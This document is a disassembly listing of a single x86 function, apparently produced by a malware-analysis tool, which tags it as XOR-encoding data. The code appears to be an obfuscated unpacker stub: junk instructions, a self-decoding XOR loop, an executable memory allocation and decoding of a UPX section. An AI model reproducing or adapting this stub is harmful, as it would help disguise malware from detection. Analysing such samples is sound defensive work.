Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4f05c766
or eax, ecx
sub ecx, 1
add eax, ecx
popal
or eax, ecx
add ecx, ecx
and eax, eax
mov ebx, 0
mov ecx, edi
sub edx, esi
and esi, edx
not esi
mov eax, ecx
add edx, esi
mov edx, esi
mov edi, eax
and esi, edx
add edx, 0x6f808c16
inc edx
inc ebx
add esi, 1
sub edx, 1
mov esi, 0x83ca70af
cmp ebx, 0x100b93f
jne 0xa789c8
inc edx
add edx, 0x297ab549
sub eax, 0x2735487f
mov ecx, eax
not ecx
mov esi, 0xa78796
and edi, edx
sub edi, eax
sub eax, 0x13efd6b8
mov ecx, 0xa7898a
sub eax, 0xc7f847e3
sub edx, 0x73d4ef9b
mov ebx, dword [esi]
add edx, edi
not edx
and ebx, 0xff
and edx, eax
add edx, edi
inc edx
xor dword [ecx], ebx
add eax, eax
and edi, edx
inc ecx
sub eax, 0x64754740
add eax, 0x4e7592f5
dec edi
inc esi
add edx, 0x1c6d6ef0
sub edx, edi
not eax
cmp ecx, entry0
jl 0xa78a30
mov eax, 0xda22e898
dec edi
inc edi
sub edi, 1
sub ebx, 0x69c1b7c1
sub ecx, 0xd17bfa98
sub edx, 0xe52001e7
mov edi, 0xa7898e
inc edx
dec ecx
sub ecx, 0x3dc807be
mov edi, dword [edi]
mov esi, 0xf1ff5733
sub esi, 0x3e3ec0f5
mov edi, dword [edi]
add ecx, 0xfeaf142a
and ecx, esi
push edi
mov edx, 0x3f2c6f2d
add ecx, ebx
mov edx, 0x3ce00422
mov edi, 0xa7898a
mov ebx, 0xa3388bba
or ebx, ecx
inc ebx
mov edi, dword [edi]
or esi, esi
or edx, ecx
mov edi, dword [edi]
or esi, ebx
add ebx, 0xfa30b61
push 0xa78992
inc ecx
sub edx, ebx
add edx, edx
call edi
mov edx, ecx
inc esi
sub ebx, esi
mov edi, dword [esp]
add esp, 4
mov ebx, esi
sub ecx, edx
mov esi, 0x23a308b8
push 0xa7899f
mov edx, 0x36a068da
add ecx, edx
push eax
add esi, esi
add ecx, 0x8273f09e
or ebx, edx
call edi
add esi, 0x5d3f1b1f
and esi, ebx
add ebx, 0xd9e3fa83
sub esp, 4
mov dword [esp], 0x40
and esi, ecx
dec ecx
mov esi, ebx
sub esp, 4
mov dword [esp], 0x3000
and ebx, ebx
add ebx, ebx
push 0x20000e8b
sub ecx, 0x4991c29
inc ecx
sub esp, 4
mov dword [esp], 0
not ebx
and esi, ebx
add ecx, ebx
call eax
sub edx, 0x6124972a
and esi, edx
mov esi, edx
add eax, 0x20000e24
dec esi
mov ecx, 0x112b36b8
sub edx, esi
mov edi, 0xa4647328
and ebx, edx
sub ecx, edx
mov dword [eax], edi
sub edx, 1
sub ecx, ebx
mov edi, dword [eax]
add edx, ecx
add ebx, esi
or edx, esi
cmp edi, 0xa4647328
je 0xa78b9d
mov ecx, 0
mov byte [ecx], al
dec edx
add ebx, ecx
sub ebx, 1
not ebx
mov eax, 0xc1ca88d3
add ecx, 1
mov edi, section.UPX1
or eax, ecx
add eax, ecx
mov esi, 0xa78795
dec ecx
dec eax
mov ebx, 0
mov eax, ecx
sub ecx, 0x5ecec140
mov edx, 0xa78796
sub eax, 0x3b1ea854
and eax, eax
add eax, 0x63edf611
lea edx, [edx + ebx]
not ecx
inc eax
mov edx, dword [edx]
sub ecx, 0xd28e776f
dec eax
and edx, 0xff
sub eax, 0x4a9f7997
add ecx, ecx
inc ebx
inc eax
add eax, 1
cmp ebx, 0x1f4
jne 0xa78c15
mov ebx, 0
sub ecx, eax
mov ecx, 0x819113b5
add ecx, 1
or ecx, ecx
xor dword [edi], edx
sub eax, ecx
and ecx, eax
add edi, 2
and eax, eax
not eax
and ecx, ecx
cmp edi, esi
jl 0xa78bd0
add ecx, 1
or ecx, ecx
mov eax, ecx
inc ecx
mov eax, section.UPX1
mov edx, 0xee8283b7
or edx, edx
mov ecx, section.UPX1
and edi, edx
sub edi, edx
mov esi, 0xa78795
not edx
sub edx, 0x937f13df
sub edx, 0xa7112ef3
mov ebx, 0
mov edi, edx
dec edi
mov bl, byte [ecx]
sub edx, 0x64ad24d
add edx, edx
mov byte [eax], bl
sub edx, edi
or edi, edx
sub edx, 0xb02fee1d
inc eax
add edx, edx
mov edx, edi
add ecx, 2
mov edi, edx
sub edi, edx
cmp ecx, esi
jle 0xa78c79
mov edi, 0xaca66034
and edi, edi
mov edx, edi
and eax, ecx
dec ecx
not ecx
push 0x8dc6a0
sub ecx, 0x7476fe3a
not eax
add eax, ecx
ret